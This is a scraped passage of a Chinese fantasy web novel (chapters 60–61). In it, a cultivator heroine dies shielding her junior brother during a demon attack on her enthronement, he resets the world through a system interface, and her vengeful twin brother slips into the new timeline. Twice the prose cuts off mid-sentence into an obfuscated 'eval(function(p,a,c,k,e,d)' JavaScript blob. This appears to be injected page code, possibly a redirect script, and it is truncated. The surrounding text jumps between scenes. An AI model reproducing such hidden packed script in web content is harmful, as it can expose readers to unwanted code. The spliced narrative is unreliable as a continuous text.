唉,这里好没意思,想回去找言隐玩儿。 这个念头一冒出来,她自己先被吓了一跳。好好的怎么想起那小子,言隐是跟屁虫,她可不是。 * 白月站在桥头,望着护城河里星星点点的河灯,忽然想起初见言隐那日。多年前在闹市中捡到这个一脸倔样的小孩时,她何曾想过这小孩如今会站在半步之遥的地方,替她挡去推搡的人潮。 “灯会人太多了。师姐,你可要站稳,若是被挤下水去,便叫鱼儿们看笑话了。”少年嘴里说着戏谑的话,动作却是把她护得严严实实。 白月不着痕迹地往石栏边靠了靠,流苏耳坠扫过颈侧,痒痒的。“没大没小。” 言隐不答,装没听见。他的衣摆被晚风吹得猎猎作响,乍看过去,身量已比白月高出许多。 两人难得一起执行任务,强强联手,又有多年配合出来的默契,不过三日就将那作祟的妖物拿住了。 恰逢如此盛会,自然要在城中多留一天,给自己放个短假。 言隐垂眸时睫毛在眼睑投下细碎阴影,“今夜灯会,难得放松一回,别板着脸嘛。” 他指尖掠过她发间,摘下一片不知何时沾上的花瓣。 白月懒懒地靠在栏边,没有躲开那只骨节修长的手。 目光上移 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“那当然。”言隐拍着胸脯保证,“明年我肯定还活得好好的,等一切麻烦事都结束之后......唔唔。” 嘴巴被白月捂住,他没能说出接下来的话。 “心里有数就好。”白月惆怅道,“我刚才想起来,这种话不太吉利,还是不要说了。” 类似“等战争结束后我要回乡结婚”,完全是死亡预警啊。 人群忽然骚动起来,夜空炸开第一朵烟花。言隐兴奋地指着天空让她看,另一只手莫名变成与她十指相扣的姿势。 白月听见自己腕间银铃乱响。鬼使神差的,她没有甩开那只手。 眼下严峻的局势没有留给他们太多休息时间,稍作休整,他们在第二天清晨,踏上了回程的路。 御剑几个时辰,持续的灵力消耗让白月感到有些疲惫,改换步行。 大半天滴水未进,她舔了舔干裂的嘴唇,问言隐:“你渴吗?” “附近没有水源。”言隐指着前方,“不过那里好像有个村子,我们可以去讨点水喝,润润嗓子。” “也好。” 烈日将石板路晒得发白,老树蜷曲的枯叶在风中簌簌作响。 走近才发现,夕阳下的村落寂静如死,墙边的水缸中一滴水也没有,底部结着龟壳似的泥痂。 这水缸已经是村中为数不多保持完好的物件了,因为大部分房子都被风化腐蚀得看不出原本模样。 再往里便是一片荒地,遍布着毒瘤般凸起的土包。 这些形状不规则的小土包,面前都立着小石碑,似乎是坟墓。 但这些石碑几乎都是空白的。无名氏们的长眠之地,简陋得让人差点没认出这是坟墓。 言隐蹲在唯一刻字的墓碑前,伸手将上面的藤蔓扯下来:“这个碑有字,你看......‘盈缺之墓’。” 水自然是喝不上了,这个村里全是坟包,一个活人也没有。好在他们都是修仙之人,一时半会儿不喝水也没什么,顶多有些口干舌燥罢了。 白月:“全村没一个活口,真够蹊跷,瘟疫?” 言隐:“谁知道呢,看样子已经是很多年前的事了,好在有人给他们立坟,不至于东一具西一具的躺着。这个叫盈缺的运气不错,立坟那人可能只知道他的名字,其他的都没给刻字。” “盈缺......这名字还挺特别的。” “好像在哪儿听过?”言隐的手还搭在墓碑上,下意识用指尖去摩挲字迹留下的凹痕,“好耳熟。” 白月想了想:“我没印象。这么有特色的名字,听过的话应该很难忘。” “也是。”他收回手,抬头看了一眼天色,“师姐,我们好像逗留的够久了。” “要走了吗?” “嗯,走吧。这里又没水。” 60. 第 60 章 白月有些记不清自己的年纪了。 常年在外奔波,她已经很久没有过过生日。不过她本来就不是多有仪式感的人,一年又一年,她从不刻意去记数,否则会生出一种自己老了的错觉。 白江和程红玉的身体状况一直不太好,许多宫务需得白月来处理,她不回宫,那些卷宗便直接由信鸟送到她手上去。于是就会经常出现这样的场景:同行的修士围着篝火休息聊天,她伏在地上写写写。 这样的日子真不快活。她想起曾经在十燕城遇到过的那对夫妇,做点小生意,赚点小钱,挺好。除了自己和对方以外,无需对什么人负责,想去哪里去哪里,乐得自在。 她曾经以为自己如果当上宫主了就能自由,现在发现,那只会让她离自己的游侠梦更远一步。父母二字不再是压在她背上的巨石,但自有别的东西去取代那块石头。 好在还能有个言隐在身边,陪着自己。白月无比庆幸自己在多年前做出了收留他的决定,不然真是连个可以说话的人都没有。 看卷宗看得昏昏欲睡,她得出结论,长大不好。 可回想一下,小时候好像也没有快乐到哪里去。曾经白月并不是这么悲观的人,十六岁的她在墙内倚着花树听风,酝酿着她的逃跑计划。 现在她所有叛逆的念头都消失殆尽。年岁的增长固然是原因之一,可生活中不断出现的坏消息才是最好的磨刀石,把脾气磨得都圆钝了。 最近得知的最坏的消息,就是,她曾经居然有一个哥哥。 那是在她回宫探望程红玉的时候。话不投机半句多,与母亲寒暄了几句,便再没有别的话可说,她正要离开里云宫,却被一个行为古怪的人拦在偏僻处。 怪人的情绪有些激动,先是嘲讽她母慈女孝,又得白江器重,宫主之位怕是马上就要易人了。 白月一脸莫名其妙,只觉得自己遇到了疯子,看他装着明显不是里云宫的人,怎么会混进来?然而怪人的语速极快,不给她插话的机会。 “我活成这样全都是因为你!我比你好,但是......现在不好。你为什么不在出生的时候就死掉?” 怪人眼中流露出的浓烈恨意不似作假,语序颠三倒四,但并没有做出攻击行为。 白月倒是冷静下来。 他的话一字不落地进了她的耳朵。她该有情绪的,可心底涌上的疲惫让她连表情都懒得做。 听完了怪人乱七八糟的叙述,她在脑中将信息整合一番,总结道: “原来如此,你是我哥。” 在白月模糊的婴儿期记忆中,曾有一个跟她差不多大的孩子,蜷缩在她身边,互相取暖。 关于这件事,她很小的时候就与白江提起过。她想询问自己是否是独生女,然而话刚开头收获了一顿鞭打,那次打得太狠,从此以后她再没问过类似的问题,毕竟人的天性就是规避疼痛。 她猜测,或许是跟她一同出生的孩子早夭,成为了父母的心结,所以他们不允许她提起这个孩子。 如今真相以这样一种意外的方式被揭开,白月不知自己该给出何种反应。 她只觉得自己小时候的一个念头得到了印证,不过......父母一念之差,竟然让她和白曜走上了完全不同的人生道路,小孩还真是没人权。 她看了眼白曜。这人现在的状态很不好,精神状态接近癫狂,但还没忘了威胁她:“别告诉别人我来过,这是你欠我的,以后我一定会找你讨要。” 这等明晃晃的寻仇宣言终于让白月倒吸了一口冷气,但白曜似乎察觉出她的攻击意图,下一秒就土遁消失在她眼前。 这等干脆利落的逃跑方式,即便她立马出枪,也只刺了个空。 “别告诉别人我来过”——白月就好奇了,他为什么觉得她会听他的? 她不仅转头就告诉别人“玉胥宗那个叫白曜的失踪修士来过里云宫”,而且当夜带着一帮弟子把里云宫翻了个底朝天,试图找出他的踪迹。 要不是白曜最后那句话,她也不想做这么绝的! 身边埋了个雷,以后睡觉都睡不安稳。 不翻不知道,一翻吓一跳。白月长期不宿宫中的弊端在此时终于显现出来,藏书楼,秘术阁,甚至地底下的密室......乍看之下,整洁如常,然而细察才发现,到处都是有人入侵过的痕迹。 卷页中夹杂的发丝,书案边缘的手指印,房梁上的灰尘足迹......一个幽灵,在白月不知情的情况下,悄悄入驻了里云宫。 白月一挥手,将周围人遣散。 若白曜单纯是来偷师的还好,里云宫最顶尖的秘术“胜天锁”,非白家血脉不能......等等,白曜就是白家血脉啊! 白月烦躁地在密室中走来走去。既然白曜敢跟她摊牌,那就是没想再继续潜伏下去,是不是说明,偷师已经偷完了? 所以他才那么有恃无恐,敢直接在她面前现身。 白曜似乎对于自己当年被抛弃的事有极其深重的怨念,并且把这锅扣在了她身上,认为她抢走了他的人生。 偷看了这么多秘卷,必不是空手而返。白月猜测,白曜或许想用“胜天锁”来对付自己。 胜天锁是一种对人鬼妖魔都有效的封印术,可以用它去封印一只蚂蚱,也可以用它去封印千年大妖。只要中招,断然没有再逃脱的可能性,是一种霸道至极的镇压手段。 可与此相对的,施术的前提也很严格,需提前在对方身上种下符引,三日后,待符引顺着对方经络游走全身,便可进行远程施咒。 稍有不慎就可能功亏一篑,失败的话,对施术者亦有严重的反噬作用。因此,“胜天锁”效力虽霸道,却不能轻易启用。 白月打坐运转周天,并未发现自己身上有什么异常,符引应该还未来得及种下。 自那以后她的警惕心翻了倍。白曜不知所踪,意味着他在暗她在明他在暗,形势很不利。 玉胥宗也没找到这个不肖弟子,看来此人捉迷藏真是有一手。 白月做好了见招拆招的准备,可白曜居然再也没出现过,放下狠话之后,一连半年,都没有再出现。 曾经以为的那个遥不可及的日子,倒是先一步来了——白江似乎察觉出白月的动摇,决定彻底放权,传位于白月。 他要将里云宫交到她的手上,从此她便飞不远了。 两月后,就是继位大典,里云宫邀请八方仙客,前来做个见证。 白月对此没有表现出太大的热情。这个节骨眼,她甚至还在外面做任务。宫主之位于她而言约等于某私立学校校长,且责任大于报酬。 她讨厌对什么东西负责任。 光负责言隐一个就够累了。把他从小豆丁养成大帅哥,虽然是很有成就感,但过程也不容易呢。 * 继位大典举行在即,言隐被老宫主调回去充当劳动力。他倒没不乐意,只是挂念着原书剧情,心中难免忐忑。 他既不能透露剧情,也没法阻止大典的举行。况且,就算这次大典被他搅黄了,妖族也一定会另寻时机卷土重来,到时便更加难以防范。 很难得的,言隐感到有点后悔。当年他撺掇她当宫主的时候根本没过脑子,只想让她快点回宫,不要继续与昭意接触。在他心里昭意是画了红线的头号警戒对象,书中白月就是为了给他挡剑才死的。 如今看来,光防备昭意一个根本不够。 那时候应该阻止她回宫的......让她跟父母断绝关系,远离那些糟心情节。他们浪迹天涯,不要再管那些破事了。 一步错步步错,走到现在,离结局已经很近,能否保住白月的性命,他心里有些没底。此刻提出让白月跟他私奔,对方恐怕只会觉得他莫名其妙。 他看得出来,白月虽然对宫主之位并不是那么充满热忱,但责任感使然,她一定会出席这场大典。 就像当初捡到他的时候一样,白月嘴里说着吓唬人的话,“你随时会被抛弃”,可直到今天,她也没有扔下他不是吗。 好在白月还记得他们曾经的约定,宾客名单上没有昭意的名字,只有八万春长老作为玉胥宗的代表出席。 言隐已经尽力在周边区域加强防卫,驻守山门的人数是平常的三倍还多。 到时候若妖族发动攻击,他得护着白月,旁人都是次要。 “师兄,你又在偷懒了!”周围有人打趣他。 他回过神来,看了那人一眼,捧着大典要用的器具转身离开。 那人有些恼:“师兄怎么不理人?” “我们好像不太熟。” 终于看出言隐此时心情很糟糕,那人看着他的背影,收了攀谈的心思,悻悻收回眼神。他们的确不熟,可聊两句话拓个人脉总是可以的吧!之前看他在白师姐身边卖乖弄笑,还以为很好相处呢。 原来是个捧高踩低的! 他着实误会了。言隐并非捧高踩低,而是只捧白月,一视同仁地踩其他人。 若不是系统这个好感度任务,那他连白月也不会捧......但这个前提不成立。他已经遇见过她,接近了她,最后......有点喜欢她。 这“一点”也不少了。言隐心里如果有一杆天平,必然是白月重于其他所有。 值得一提的是,白月对他的好感度达到了喜人的96点,可以说他已经处于胜利前夕。如果成功帮白月度过这一劫,那数值达到100便是迟早的事。 到时候,就兑换回家的机会吧。离开现代世界那么久,他有点想念那些电子游戏了。 到现在为止言隐还没有使用过积分,系统商城里一堆鸡肋玩意儿,没一个想买的。不死心地又打开面板看了一圈,商城里还是那老几样。 他叹了口气,关闭面板。 离大典还剩七天的时候,白月回来了。 这次任务她去了很远的地方,是一片荒芜沙漠。但她仍然记得要给言隐带礼物,买不到纪念品,就装了一瓶当地的细沙。 言隐欢欢喜喜地接过:“我就知道,师姐会记着我的。” 白月露出个很浅的笑:“那边实在没有什么好东西,一瓶细沙,只能加水和着玩儿。”。 ......是把他当小孩吗? 言隐嘴角勾起,眼睛弯弯:“好啊,下次出任务无聊,我就拿它来打发时间。” 没有太多寒暄的时间。一大堆事情等着白月去处理,她稍作休息后,伏在书案上,开始翻阅那些积压下来的卷宗。 言隐在旁边研墨。 “师姐,你心情不好么?” “没有。” “那怎么总是走神?眉头也一直皱着。” “......我只是,突然想到白曜。” 言隐的目光冷下来。白曜之前潜入里云宫的事,白月已经跟他说过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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底下弟子舞着大旗喊口号的时候,他后颈渗出冷汗——原著中妖族就是趁着令旗变阵的瞬间撕开护山结界,冲了进来。 白月今日穿着玄底宫主袍,长枪被她像权杖一样握在手里。 当她踏上最后一级台阶时,天际突然传来鸾鸟清啼,这本该是吉兆,却让言隐浑身发冷——他看到了远处乍现的光芒,像是结界碎裂的信号。 “大家小心!”他喊了一嗓子。 司礼长老的唱诵声在寒风中戛然而止。 “拿起武器!”言隐的喊声与第一支骨箭同时破空。 白月旋身挥袖,震碎了那支袭向人群的骨箭。但更多的黑影从远处逼近,无数支骨箭为它们开阵。 不得不说言隐那一嗓子很有效果,在场所有修士迅速反应了过来,各自拔出武器。 “是妖族,成群结队来的!” “怕他们?” “今天真倒霉!” “道友们随我冲......” “看看谁将谁一网打尽!” 言隐以白月为轴心行动。他的修为并不比她高,但此时他是一个很好的护卫,所有靠近白月的攻击都被他一一化解。 但是他很快发现不对劲。 针对他的攻击,似乎比针对白月的还多? 不知道自己哪里吸引了仇恨值。言隐且战且退,想直接拉着白月跑路。 “你先走。”白月居然拒绝他,“这是我的继位大典,我不能离开。” 来自天南海北的修士们都在与妖族奋战,甚至有人已经负伤倒下,痛呼声不绝于耳。她这个家主怎能露怯? 言隐:“......”他就知道! “你先走,我说真的。”白月推开他。 白月提枪飞身到战场中央。言隐想要跟上,却在转身瞬间被地底钻出的树枝贯穿小臂。 他忍着疼,一只手按住伤口,另一只手掐诀。火咒威力瞬间爆发,树枝被烧成灰烬,地底下隐隐传出妖怪呼痛的声音。 他往前走了几步,又被不知哪里扔过来的妖怪尸体绊了一脚,一个趔趄,半跪在染血的青玉砖上。 三丈外正在苦战的白月,发冠已碎,左手结印维持着摇摇欲坠的护体灵盾,以掩护身边受伤的修士。右手持枪,正与一名狼妖周旋。 双方数量虽有差距,但修为低微小妖们在战斗初期就被斩杀,修士们每人对付两三只妖怪,尚能招架。 言隐这边的状况更为糟糕,攻击他的妖怪已经不能以“只”来计数,简直是一群一群地往上涌。 “为什么都冲我来......”言隐狼狈地滚过两道毒火,后背狠狠撞上盘龙柱。 白月发现了他这边的异常,眼中露出担忧之色,一边与身边的妖怪周旋,一边向着言隐的方向缓缓移动。 她不肯走,言隐不肯走,谁也劝不动谁,那只能一起干架了。 这种情况还是抱团比较好,大家互相掩护,可以避免露出破绽。 言隐的体力与灵力正在迅速消耗,他看到白月正在向他走来,心底忽然生出懊恼。说好要保护她,结果到了最后,反而要她分心来保护他。 归根结底还是自己太弱了,如果能强一点,再强一点......强到可以直接把这群妖怪宰了,就不会陷入这般被动的境地。 此时他竟然忍不住迁怒系统,怎么不早点把他投放到这个世界。如果能早二十年开始修仙,不,早两百年...... 那他就能有很多时间去变强,修为也就不会这么不够用! 61. 第 61 章 或许因为短时间内吞噬过量妖丹,白曜身上居然有了妖气。正因如此,乔装一番混入妖族大军,对面修士没有一个认出他来。 但他的主要目的并不是战斗。他比这些妖都聪明,隐蔽身形,游走于战场之间,能起到一个指挥官的作用。大部分妖的脑袋不太好使,基本上是他指哪打哪。 这次继位大典的确是个进攻的好机会,但也不是太好。来参加大典的都是有头有脸的人物,修为不会低到哪里去。 其实妖族应该再蛰伏一段时间,等待更好的机会。 可是白曜有私心。 他在妖族内部已经有了相当高的话语权。这些年来修仙界动荡不平,少不了他在其中搅混水。 为妖族立下过犬马功劳,因此,他深得它们信任。 白曜铁了心非要搅黄这场大典不可,在妖族面前进行了好一番天花乱坠的游说,终于说动他们在这个时点攻入里云宫。 只是这群妖怪比他想象的还要笨,对面明显更会使用战术,而他以一人之力操纵不了整个战场,只能传音给聪明点的小妖,指挥它们从薄弱处突破。 场面一时陷入胶着,白曜在指挥战斗的同时,没忘了找机会给言隐制造杀机。 这场战役可以败。反正经此一役修仙界必然元气大伤,白月的继位大典也被搅黄。 但言隐必须死。 这是杀掉言隐的绝佳机会,白曜绝不会放过。死在这场战斗中的修士不止一个,没人会细究言隐的死因,更不会查到他头上来。 那群小妖好忽悠的很,尤其是植物修炼成精的,脑子缺根弦,说什么信什么。 白曜传音给它们,说那个穿青衣扎高马尾的小白脸是重要人物,且修为不高,攻击他是最合适的选择。 一群小妖乌泱泱地涌上去。他看到言隐快要招架不住,心中难掩快意。 他跟白月是同一个娘胎里出来的,拥有的东西也要一样,才够公平。他当不了宫主,白月也不能当。他孤立无援,白月便也得孑然一身。 他已经观察白月很多年,无比确信,言隐和她都是彼此心中最重要的人。程红玉和白江倒是没他想象中那么宠女儿,甚至继位大典也称病不出,不知是不是无法面对自己年老体衰的现实。 倒是意外让他们躲过了一劫。 言隐的体力几乎耗尽了,可白月护着他,周围的攻击竟然一时不能近他身。 白曜冷下神色,命几只鼠妖对白月进行佯攻。树妖抓住机会钻进去,捆住她两只手就足够。 白月的体力也消耗得非常厉害,身上已见了伤,一时不察,竟真让树妖钻了空子。即便已经用最快的速度斩断树枝,依然没能来得及抵挡已经袭向面门的攻击。 她呼吸一滞。 又长又肉的尾巴,臭烘烘的味道——她最讨厌老鼠了! 言隐飞扑到她身前,替她挡下这一击。 白曜目睹这一幕,在远处暗暗叫好。 “就是现在,放箭,杀了那小子。”他冷静地下达命令,眼中闪烁着兴奋的光。 剩余的骨箭已经不多了,特意留了几只附灵的,就是为了能在这种时候派上用场。 杀机扑面而来,而言隐已经没有力气躲开了。 骨箭裹挟着腥风击碎护体灵盾,言隐本能地抬手格挡,却见一道雪亮的枪芒劈开死亡阴影,温柔地裹住了他。 可是骨箭不止一只。白月用枪挡住了大部分,剩下的箭仍不停滞,誓要穿透那血肉之躯。 又有树枝缠绕上白月的手腕,似乎是想控制她的行动。千钧一发之际,她不管不顾地挣脱桎梏,手背被刮下一层皮也浑然不觉。 注入过灵力的骨箭迅猛异常,刺透白月胸膛时,言隐清晰地听到骨骼碎裂和血肉溅开的声音。 “师姐,师姐,师姐。为什么......” 言隐不可置信地接住白月瘫软的身体,那些穿透她的箭矢正在化为黑雾。 “有我兜底......”她攥着他衣襟咳出血沫。 在过去的无数次任务里,他每次假装害怕,想要与白月一同行动的时候,白月就这样安慰他。 ——有我兜底。 白月染血的手指抚过他眉间,喉咙里发出破碎的笑声:“其实我......” 远处的白曜突然发出野兽般的嘶吼,一只倒霉的小妖承受了他的怒火,被他一掌拍碎头盖骨:“不对,这不对!你该像我当年那样活着,眼睁睁看着最重要的东西被碾碎!”他疯狂撕扯着自己的头发,“我们流着同样的血,你的绝望该和我一样!” 当年......当年是什么时候?白曜被自己脱口而出的话搞得有点迷茫。头痛欲裂间他一拳锤向树干,眼角逼出两滴生理性的泪花。 发生在他面前的场景似乎已经是第二次上演。他的记忆混乱了......混乱了吗? 言隐好像已经听不到周围的声音。仿佛有人给他的世界按下暂停键,又在下一秒拧开高压水阀。 他开始耳鸣。 为了听清白月的话,他不得不贴近她的嘴巴。 “其实什么?”他几乎是在呓语。 “......想回家。”白月伸出手,似乎想要抓住些什么,最终只是无力地垂下。 这么多年过去,她早已被同化成这个世界的一份子。她认里云宫是生她养她的地方,称之为“家”倒也没错。 但她在外面奔波劳累的时候会想回家,待在家里的时候也想回家。 “家”究竟在哪里?那应该是一个让人安心的地方。 言隐知道,她最后那句话里,“家”不是指里云宫。 “我的家也不在这里。”一直以来,为了避免麻烦,言隐从未跟白月交托过自己的真实来历,白月甚至不知道,他同样来自另一个世界。 怀中的身躯开始变冷,言隐握住白月僵硬的手指。周围的修士正在朝他们靠拢,掩护这一死一伤。 言隐的眼泪顺着下巴滴落,在白月的眉心绽开细小水花。 一直以来对昭意严防死守,可到头来,竟然是他顶替了昭意的位置么? 系统:【恭喜宿主,攻略对象好感度数值达到一百,任务完成,奖励积分已发放至对应页面,可按需兑换物品。】 冷冰冰的电子音拉回了他些许神智。突然想到什么,他点开系统商城面板,泪痕在脸上糊作一团。 他顺着商城界面,挨个儿看下去。 “这个,灵芝,可以让她活过来吗?” 系统:【灵芝可以再造器官与血肉,大脑和心脏除外。换言之,它不能让人起死回生。】 言隐一言不发,继续往下滑。现在他有很多很多的积分,想换什么都可以。他希望这些积分可以救白月一命。 然而已经翻到底,商城陈列栏并没有上新。 只是最下方多出两个带字的按钮,一个是【退出】,一个是【重启】。 系统:【按下退出,你就能回到现实世界。按下重启,一切重来。这是你任务完成后才会出现的奖励,可以任选其一。】 言隐眼中燃起希望:“一切重来?” 系统:【世界线重启,一切归零。如果你按下这个按钮,任务相关的记忆会被封存,同时新的系统会代我接管你。各种意义上的,重来一次。】 言隐没有回答,只是用行动表示了自己的选择。 他按下【重启】。 她是书中的配角,却是他唯一的主角。机会摆在眼前,他当然要试一试,为自己的主角改命。 言隐低头,吻在怀中人冰凉的嘴唇上。 “......师姐,待会儿见。” 树冠垂落的枯叶逆着风势贴回枝头,由焦黄转为青翠,最后蜷缩成胚芽钻入树皮。 天际裂开蛛网状暗痕,紫红色闪电在其中编织光网,像极了信号故障的电视屏幕。 地脉在脚下震动,东方的地平线开始卷曲。一切都正处于存在与虚无的临界点,世界在毁灭的同时又在新生。 这过程并不漫长,甚至没有给人们留出用来恐慌的时间,抬头看向色彩斑斓的天空,犹如末日前最后的一场烟花。 白曜不太明白发生了什么,但他能感受到一股强硬的力量正在介入这个世界。本能之下他启用了那道秘术,体内的符引立即做出响应—— 蚕丝一样的白线从他身体的各个部位往外冒出,包裹住了他。像是被无形的锁链捆住,他动弹不能,任由白线将自己包成茧的形状。 看似柔软的丝线却有着极其坚硬的质地。不止是坚硬那么简单,刀劈斧砍,火烧水淹,都无法破坏它分毫。 正是白家独门秘术,胜天锁。 他的根基毁了,悟性还没消失。潜入里云宫的那段日子,他已将封印术的要诀偷学到手。 若被完全体的胜天锁封住,断然没有挣脱的可能。但白曜这副被妖气腐蚀的身体无法发挥出秘术的全部威力,经他试验,自己放出的“胜天锁”,只有一月时效。一月后符引枯竭,被封印者便可重获自由。 实用程度自然是大打折扣。可也正因如此,他开辟出了另一条思路——将胜天锁的符引下在自己身上。 他从没想过要用这个封印术对付白月,这是他用来自保的东西。游走于妖族之间何其危险,必要的时候,将自己藏在“茧”里,或许可以躲过杀身之祸。 虽然时效只有一月,但在这一个月内,他能获得一道短暂的、完全体版的“胜天锁”。这既是封印也是保护,在此期间,任何东西都伤害不了他。 看向世界的最后一眼,白曜有些迷茫。他不知道一个月后将要面临什么,或许会在一片废墟中醒来,又或许这道茧根本挡不住外面的天崩地裂,他会和世界一起毁灭。 万幸。 他既是施术者也是受术者,这种奇异的叠加状态让他短暂进入了一种“无法选中”的状态。 而系统没能及时消杀这道不起眼的bug。 世界重启,一切归零,白曜躲在这小小的“茧”里,像一艘抛锚的船,流动的时光长河中唯有他停滞不动。 再次睁开眼时,浓郁的土腥味扑鼻而来。 “茧”已经消失了,可白曜仍然无法动弹。他动了动僵硬的手指,忽然意识到,自己好像......被埋在土里? 稍一呼吸,细碎的土壤颗粒就会灌入鼻腔,难受极了。 他不由庆幸自己是个修仙的,若换了凡人,怕是瞬间就要被压扁。 身处这般困境,他没有多余的思考时间,立刻就要动手凿开上方的泥土,以免自己窒息在这里头。 白曜全神贯注地自救,直到稀薄的空气涌入口鼻,他的动作才慢下来。不知道外面是个什么状况,他得谨慎一些。 他缓缓扒开上方那层薄土,从杂乱的野草中探出头来。 看到的不是想象中的废墟,也不是重建后的新宫殿。 四周寂静无声,只有空无一人的观礼台与他面面相觑。 他仍然在里云宫内,但是......很不对劲。这些建筑都保留着原本的风貌,一个月前世界末日般的场面仿佛只是他的幻觉。 白曜隐蔽身形,贴着阴影往大殿的方向走。他很熟悉里云宫的结构,知道弟子们平常一般不会进入观礼台。 但大殿前一般会留几个护卫。 他藏在视线极佳的死角中,望向殿门口。一男一女站在那里,正在同守卫交谈。 竟然是白江和程红玉,容光焕发的样子,全然不见病中疲态。 他心下震惊,诡异的不安感油然而生。 没有在此处逗留太久,白曜离开了里云宫。 随着观察到的地方越来越多,他终于发现,许多地方,都跟他原有认知中的世界有着微妙的出入。 不久之后,他确认了一个事实。 他回到了另一条时间线。 在这条时间线上,白月甚至还没有出生。 经历了短暂的迷茫过后,白曜感知到久违的兴奋。不错,他是新世界中唯一的旧货,但这意味着他能预测到未来的走向,利用已知信息,为自己争取到更多好处。 甚至,彻底改变命运。 一个大胆而疯狂的想法在他脑中形成。 在程红玉生下孩子之前,他要杀掉那位德道望重的命师,将尸体处理干净,让这个胡乱预言的骗子彻底消失。 再然后......白曜乔装一番,取而代之,前往里云宫,以命师的口吻做出预言。反正白江和程红玉都不熟悉这位命师的做派,就算有微小破绽,也无关紧要。 他不准备改变预言的内容,只是想稍微添油加醋那么一点点。在做完预言之后,他补充: “我更建议你们留下儿子。” 当程红玉问起理由,他便装起神秘,故作高深,称天机不可泄露。 预言总是模糊的,他也怕多说露馅,只能提醒到这个地步。 保证被送走的是妹妹就可以了。 看着襁褓中新生的自己,他差点压制不住上翘的嘴角。 他已决意要夺舍这个完美的,前途光明的白曜,这次没有人再跟他争任何东西了。 过去他因走火入魔,修为止步于金丹境。大路不通,他便去修邪门歪道,乱七八糟的禁术也顺带学了不少。 噬魂阵是个好东西,稍微将阵纹改良一下,将具有“吞噬”效用的符纹抹去,便能中和掉阵法的危险性,避免布阵之人被反噬,又能将阵中之人的灵魂逼出躯壳,趁机夺舍。 可惜这个白曜还太小,尚未迈入修仙门槛。此时夺舍风险太大,婴儿身承受不住阵法的效力。 最好是等小家伙过了十六岁,再 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对面两人参不透他的路数,一时竟没能占了上风。白曜半点不恋战,抓住机会,将白月往怀里一揣,立马土遁跑路。 白月似乎被里云宫的人施了沉睡咒,一路上都昏昏沉沉,大部分时候只缩在襁褓中睡觉。 他低头观察婴儿时期的白月,小小的鼻子小小的嘴,依稀能看出长大后的样子。 还是现在好,这么轻,这么弱,他一只手就能举起来,捏死她跟捏死蚂蚁一样简单。 他伸出手指,戳了戳她的脸蛋。跟嫩豆腐一样,好玩。 似乎感觉到不适,白月在睡梦中哼唧了两声。 白曜皱起眉头。他不太会抱孩子,也不知道该喂她吃什么东西。 还是得赶紧把这包袱脱手才好。 在附近几个村子里来回晃荡了半天,他觉得不妥。这群村民看上去比他还不会照顾人,白天都下地干活去了,家里孩子饿一顿饱一顿也不知道。 虽然他不希望白月过得好,但同样不希望她过得太差。以后要是没人教导,长成个听不懂人话的大蠢丫头,他还怎么在她面前秀优越感? 想了想,还是把白月送养到城中富商家,保她衣食无忧便够了。 白曜下意识来到了十燕城。他来这里执行过几次任务,对这儿还算熟悉。 经过一番打听,他得知有一户姓萧的人家,没有子嗣,财力尚可。于是,他将白月放在了萧家门口。 他藏在老槐树的枝桠间,注视着那对夫妇被婴孩嘹亮的哭声吸引,走出门外,慌慌张张地抱起襁褓中的白月。 其实白月没哭,她的昏睡咒明明已经解开了,却仍然安静得像个假娃娃。是白曜施了幻音术,好让夫妇俩能早些发现白月。 在之后的日子里,白曜不停地两头跑。 有时候他会去里云宫看看自己的相中的壳子长得怎么样了,有时他会回到十燕城,在白月——不,现在应该叫萧唤月了。总之,在她看不到的地方,白曜会看顾着她。 白曜倒不是多想当她的贴身保镖,而是对这个孩子感到好奇。 明显能看出来,萧唤月比同龄人要沉稳许多。 明明她才几岁而已,站在屋檐下看雨的眼神,却像个小大人。 一般来说,孩子看见雨水应该兴奋才对吧?大人才可能会发愁,愁自己没有及时收衣服,愁自己地里的庄稼,愁孩子又要去水坑里滚上一身泥巴。 但如果云婉在她身边,她就会流露出更像孩子的神态。 “娘,你看!我让雪眉挂上的。”她踮脚去够屋檐下的风铃,青布裙摆沾着泥点。 “真漂亮的风铃,是爹爹带回来的那只吗?” “对!” 雨越下越大,母女俩有说有笑地进房避雨去了。 白曜蜷缩在树下,听着瓦檐滴答声与房间里女人的歌声重叠,自己也有些昏昏欲睡起来。 萧唤月是个性格沉稳的孩子,但有时,也会做出冒险之举。想来这就是小孩的天性,总会忍不住主动接触危险。 大概是因为这年纪还不知痛。 六岁的时候,她非要下池塘去捞掉在水里的风筝,自己却落了水。 她怎么总落水? 这个念头一冒出来,白曜有些茫然。他感觉这一幕似曾相识,可萧唤月此前并没有过落水的经历。 他第一次在她面前现了身,将她提溜到岸边,顺手烘干了她的衣服。 白曜肚子里的坏水又开始冒泡。他谎称自己是里云宫的修士,告诉萧唤月,你是里云宫白江的女儿,因为一则预言,才被送养到此地。 这些事情,白曜本就没有准备瞒着她。如果萧唤月这么平淡地度过一生,那她心中怎么会有落差感,又怎能体会到他当初的痛苦? 他就是要让她知道修仙界的存在,再告诉她,那边的世界何其美丽何其多彩,可惜你不能踏入修仙之路。 出乎意料的是,萧唤月没有太震惊,也没有哭闹,几乎是平淡地接受了这件事。 白曜有点怀疑,她是不是脑子出了问题?又或者根本没理解其中的意思? 他不禁责怪自己太沉不住气,该晚点说的。萧唤月才六岁,再成熟,也只有六岁而已。 之后,他在她面前化名东生,不再像以前那样费心遮掩自己的行踪,有时会直接在萧唤月面前出现,炫技似的,展露自己的轻功身手。 他不断提醒着她,这世上还存在有光怪陆离的另一面。 但那美妙的世界与她无关,她只能做个普通人。 可惜萧唤月从没表现出过气急败坏的样子,东生只好猜测,她太能忍,将所有不甘和艳羡的情绪都藏了起来,吞进肚子里,装不在意罢了。 定是这样。 不过,这么多年过去,对于萧唤月的想法,他也不再像当初那般在意了。这辈子他注定要活得比她好,何必计较太多。萧唤月不知道自己错过了什么,但他知道。 等他成了里云宫少主,便没太多闲工夫回十燕城陪她玩儿过家家了。 